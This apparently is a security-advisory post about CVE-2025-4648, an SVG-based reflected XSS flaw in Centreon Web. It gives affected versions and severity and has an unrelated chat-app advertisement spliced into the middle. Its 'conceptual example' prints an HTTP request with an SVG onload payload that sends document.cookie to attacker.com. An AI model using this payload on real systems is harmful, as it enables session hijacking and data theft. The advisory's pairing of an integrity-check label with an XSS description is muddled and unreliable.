Overview
The CVE-2025-4648 vulnerability is a severe issue affecting Centreon Web versions 22.10.0 to 24.10.5. This vulnerability, known as a Download of Code Without Integrity Check, enables a user with elevated privileges to alter the content of an SVG media during a submit request, leading to potential Reflected Cross-Site Scripting (XSS) attacks. This vulnerability is significant as it can lead to system compromise and data leakage, posing a significant risk to organisations that utilise Centreon Web for their operations.
Vulnerability Summary
CVE ID: CVE-2025-4648
Severity: High (8.4)
Attack Vector: Network
Privileges Required: High
User Interaction: Required
Impact: Potential system compromise or data leakage
Affected Products
Escape the Surveillance Era
Most apps won’t tell you the truth.
They’re part of the problem.
Phone numbers. Emails. Profiles. Logs.
It’s all fuel for surveillance.
Ameeba Chat gives you a way out.
- • No phone number
- • No email
- • No personal info
- • Anonymous aliases
- • End-to-end encrypted
Chat without a trace.
Product | Affected Versions
Centreon Web | 24.10.0 – 24.10.5
Centreon Web | 24.04.0 – 24.04.11
Centreon Web | 23.10.0 – 23.10.22
Centreon Web | 23.04.0 – 23.04.27
Centreon Web | 22.10.0 – 22.10.29
How the Exploit Works
The vulnerability works by exploiting the lack of code integrity checks when downloading code in Centreon Web. An attacker with elevated privileges can manipulate SVG media content during the submit request. The altered content, containing malicious XSS code, is then reflected back without proper sanitization. If successfully executed, the attacker’s script runs in the victim’s browser, potentially leading to session hijacking, data leakage, or even system compromise.
Conceptual Example Code
Here is a conceptual example of how the vulnerability might be exploited:
POST /submit_request HTTP/1.1
Host: centreon.example.com
Content-Type: image/svg+xml
<svg onload="new Image().src='http://attacker.com/steal.php?cookie='+document.cookie;">In this conceptual example, the malicious payload within the SVG content is an XSS script that sends the user’s session cookie to the attacker’s server when the SVG image is loaded by the victim’s browser. This could potentially allow the attacker to hijack the user’s session and gain unauthorized access to sensitive data.